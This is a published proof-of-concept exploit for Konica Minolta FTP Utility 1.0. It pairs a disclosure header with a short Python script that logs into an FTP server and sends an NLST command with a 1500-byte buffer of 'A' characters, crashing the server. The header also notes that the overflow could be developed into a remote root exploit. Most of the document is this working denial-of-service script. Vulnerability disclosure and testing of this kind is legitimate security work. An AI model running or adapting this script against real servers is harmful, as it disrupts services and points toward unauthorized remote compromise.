# Exploit Title: Konica Minolta FTP Utility v1.0 - 'NLST' Denial of Service (PoC) # Date: [05-16-2020] # # Found by: Alvaro J. Gene (Socket_0x03) # Email: Socket_0x03 (at) teraexe (dot) com # Website: www (dot) teraexe (dot) com # # Software Link: https://konica-minolta-ftp-utility.software.informer.com/download/ # Vulnerable Application: Konica Minolta FTP Utility # Version: 1.0 # Server: FTP Server # Vulnerable Command: NLST # Tested on: Windows 7 SP1 # # Impact: There is a buffer overflow vulnerability in the NLST command of the FTP server # "Konica Minolta FTP Utility" that will allow an attacker to overwrite some registers, # such as EAX, ESI, EDI... Even though the next codes will crash the FTP server and overwrite # some registers, an individual can use the vulnerable command to build a remote buffer # overflow exploit that will root a system without any user interaction. from ftplib import FTP ftp = FTP('192.168.0.16') buffer = "A" * 1500 ftp.login() ftp.retrlines('NLST ' + buffer)